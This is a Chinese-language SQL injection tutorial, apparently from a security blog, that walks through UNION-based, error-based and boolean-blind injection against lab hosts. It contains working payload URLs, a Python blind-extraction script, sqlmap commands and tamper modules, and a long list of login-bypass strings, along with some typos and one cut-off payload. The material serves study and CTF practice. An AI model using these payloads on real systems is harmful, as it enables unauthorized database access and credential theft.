SQL注入学习

admin 2023年7月12日14:02:00SQL注入学习已关闭评论35 views字数 8688阅读28分57秒阅读模式

SQL注入

sql注入介绍

SQL注入学习

sql注入流程

SQL注入学习

由于关系型数据库系统具有明显的 库/表/列/内容 的结构层次,所以通过SQL注入漏洞获取库中信息的时候,也是依据这样的顺序
1、获取数据库名
2、获取表名
3、获取列名
4、获取数据

MySQL常用函数与参数

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user() 连接数据库的用户名

databases() 数据库名

version() 数据库版本

load_file() 读取本地文件的函数

@@datadir 读取数据库路径

@@basedir 安装路径

@@version_compile_os 操作系统

left() 从左侧开始指定字符个数的字符串

concat() 没有分隔符的连接字符串

concat_ws() 含有分割符的连接字符串

group_concat() 连接一个组的字符串

ascii() 返回ASCII码

hex() 将字符串转换为十六进制

md5() 返回MD5值

SQL注入基本知识

1、寻找注入点

什么是注入点?

利用页面与数据库交互的地方,由于语句过滤的不严格,使得恶意语句带入到数据库中进行查询。

在页面中又诸如id=1 id=2等的位置就可以能有注入点。


分析

先输入 ' ,如果页面回显出现异常,就说明输入的 ' 是有效果的,

'的作用:判断注入类型是数字型还是字符型。例如:

数字型:查询语句=id ?id=1

字符型:查询语句=‘id’ ?id='1'

当我们语句注入时,对于字符型用'进行测试,例如带入单引号进去【id='1''】,会把前面的语句进行闭合,组后会多一个'而导致页面报错;在数字型的时候输入一个单引号,在正常情况下也会报错,但报错的语句是不一样的,因为会告诉你id没有1',

在题目中,在加上了'后?id=1'页面没有特别的报错,也没有提示我们这 ' 有问题,一般猜测来说就是查询不到1'的内容,所以判断是数字型。


判断

到了上面那个位置还没判断出来是不是注入点,一般通过带入语句,例如and 1=1

http://172.16.1.116/index.php?id=1 and 1=1

如果页面正常,就说明接受了我们这个语句;

再带入and 1=2

http://172.16.1.116/index.php?id=1 and 1=2

显示异常。在判断id=1的时候,用and将1=2和id=1并在一起执行的,

1=2为假

导致了id=1 and 1=2为假,导致了页面回显异常。

综上所述,当?id=1 and 1=1时,页面回显正常;?id=1 and 1=2时,页面回显异常;从这里可以知道,这个页面可以接受我们传输的语句,说明这个位置就是一个注入点。我们就可以从这个位置传输我们的sql注入的恶意查询语句。

2、联合查询注入

(1)什么是联合查询

原本,id=1时,会列出一个表格(查询的结果实际上是一个表格),当我们执行联合查询语句union select 1时,会生成第二个表,那么此时就生成了两个虚拟表,而两个虚拟表的列数需要一致。

(2)order by

由于两个虚拟表列数要一致,当不知道表的列数的时候,我们需要用order by这个语句来判断列数。

order by是以列数进行排序的,但当列数不存在时就会报错或者无回显。

例如,当我们输入

http://172.16.1.116/index.php?id=1 order by 10

此时的页面出现了错误,就说明这个页面没有10列;当我们继续输入order by 4时有正常显示、order by 5时无回显,说明存在4列。

有了列数接下来就可以进行联合查询了。

(3)进行构造联合查询语句

?id=1 union select 1,2,3,4相当于我们构造一个表格让它插入页面中。

做联合查询需要前表出错、后表执行。id=1相当于前表1,2,3,4相当于后表,前表出错、后表执行就是要让id=1的表报错即可,一下提供两种方法可以使id=1报错

id=1 and 1=2 union select 1,2,3,4

id=-1 union select 1,2,3,4

总结来看就是要让前表判断为假或者是不存在的表。

后表1,2,3,4执行后,相对应的数字就会显示在页面相对应的位置上。

例如,要查数据库的版本:

http://172.16.1.116/index.php?id=-1 union select 1,2,3,version()

只要在适当的数字上替换成相关的查询语句,查询的结果就会显示到页面上。(1,2,3,4的位置皆可放入语句,前提条件是方便预览、有回显)

group_concat()

将一个组内多个字符串连成一个字符串进行输出

按照以上的方法,列出的所有数据库的时候只能显示一行,group_concat()就可以使得所有数据显示出来。简单来说这个函数就是进行一个连接作用。

演示

整型注入

```

寻找注入点

http://172.16.1.116/index.php?id=1

判断虚拟表列数

http://172.16.1.116/index.php?id=1 order by 1
http://172.16.1.116/index.php?id=1 order by 4
http://172.16.1.116/index.php?id=1 order by 5

确定列数为4

查看回显位置

http://172.16.1.116/index.php?id=-1 union select 1,2,3,4 #

查询数据库

http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 0,1
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 1,2

查询指定数据库中的表

http://129.168.1.1/?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='数据库名' limit 0,1

查询指定表中字段名

http://129.168.1.1/?id=-1 union select 1,2,column_name,4 from informtion_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1

倒出数据(查看数据库数据)

http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名
```

注意:
1、为什么后面会用“limit”?limit表示范围,因为只会显示1行。
2、如果要显示所有,可以用group_concat()函数【后面会写到】
3、id=-1是因为只有前表出错后表才能执行

使用group_concat()函数

```

查询所有数据库

http://129.168.1.1/?id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

查询指定数据库中的所有表

http://129.168.1.1/?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='数据库名'

查询指定表中所有字段名

http://129.168.1.1/?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='数据库名' and table_name='表名'

查看数据库数据

http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名
```

半自动化注入

sqlmap

sqlmap常用命令

-u “URL”检测注入点
--dbs 列出所有数据库的名字
--current-db 列出当前数据库的名字
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有字段名
-C 指定字段
--dump 列出字段内容
--current-user 当前用户
--current-db 当前数据库
--is-dba 是否是管理员
--hostname 主机名
--users 枚举用户
--passwords 枚举用户密码哈希
--privilieges 枚举用户权限

sqlmap注入操作

以http://172.16.1.116/为例

按照注入流程

_1判断注入点

sqlmap -u "``http://172.16.1.116/?id=1``" --batch

_2获取数据库名

sqlmap -u "``http://172.16.1.116/?id=1``" --batch --dbs

_3获取指定数据库下所有表名

sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 --tables

_4获取表中字段名

sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 --column

_5获取数据

sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 -C 字段1,字段2 --dmup

整数注入同上

字符型注入

字符型注入需要在联合查询加英文状态下的单引号

http://192.168.0.1/?id=-1`` ' union select 1,2 --+

以此类推,注意:需要让语句闭合,正常执行,在url结尾输入%23 或者–+,正常闭合,%23为#,注释后面的语句,一定要注意“ ’ ”英文输入下,否则容易爆错

如果是在输入框就可以输入

-1 ' union select 1,group_concat(schema_name) from information_schema.schemata # '

报错注入

死记硬背:

1 union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x

拆解分析

1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数

2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分

3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110

4 concat():用于连接两个字符串

5 group by x:x就是相当于 as x,设一个别名

6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用

例如:

获取当前数据库名

1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

获取所有数据库中的表名

1 union select count(*),concat((select table_name from information_schema .tables where table.schema='DDD'),0x26,flo

布尔盲注

(一)基本原理

在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入

通俗点说,就是你在一间没有光线的屋子里打人,一巴掌打出去有没有打到的问题。

(二)自动注入

直接使用sqlmap工具

(三)手动注入/注入思路

1、获取数据库名

格式

if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))

2、获取数据库中表名

格式

if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

1
3、获取表中字段

格式

if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

1
4、获取内容

格式

if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))

PYTHON脚本

```
import requests
import time

urlOPEN = str(input("请输入网址【例:http://URL/?id=】:"))
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i

            print(name)

            break
print('database_name:',name)

database_name()
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)

start = time.time()

table_name()

stop = time.time()

starOperatorTime.append(stop-start)

print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)

column_name()

def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)

get_data()
```

时间盲注

MySQL结构

cookie注入

SQL注入学习

SQL注入学习

过滤空格注入

1、过滤空格

笼统的说就是不读取空格或空格后的语句被注释

2、特殊符号替代

//

#

/**/

以上符号都可以代替空格使用

3、sqlmap自动注入法

可以使用sqlmap自带的模块,以下列出几个常用模块

1、space2comment

作用:Replaces space character ' ' with comments /**/

用注释/**/替换空格字符' '

2、equaltolike

作用:用like代替等号

3、apostrophemask

作用:用UTF-8代替引号

4、greatest

作用:绕过过滤'>' ,用GREATEST替换大于号

UA注入

1、关于UA

UA的全称是User-Agent

这个是在文件头中,需要使用Burp Suite Community Edition抓取

2、手工注入

在User-Agent: 后面直接写语句就可以了,例如

User-Agent:-1 union select group_concat(schema_name) from information_schema.schemata

Refer注入

与UA注入基本一样,需要在Burp Suite Community Edition抓取报头,加上referer,例如

Referer:-1 union select group_concat(schema_name) from information_schema.schemata

SQL注入学习

堆叠注入

在SQL中,用分号(;)表示一条sql语句的结束,堆叠注入呢就是在上一条语句结束后继续构造下一条语句。堆叠注入与联合查询最主要的区别就是 联合查询union或union all执行的语句类型是有限的,而堆叠注入可以执行任意的语句。然而 堆叠注入也是有局限性的 堆叠注入并不是每一个环境都可以执行的,可能受到API或者数据库引擎不支持的限制。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

万能密码

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码

1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17admin’ or ‘a’=’a 密码随便

PHP万能密码

‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1’or’1’=’1
admin’ OR 1=1/*

后面绕过方式在单独出一个

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日14:02:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入学习http://cn-sec.com/archives/1868870.html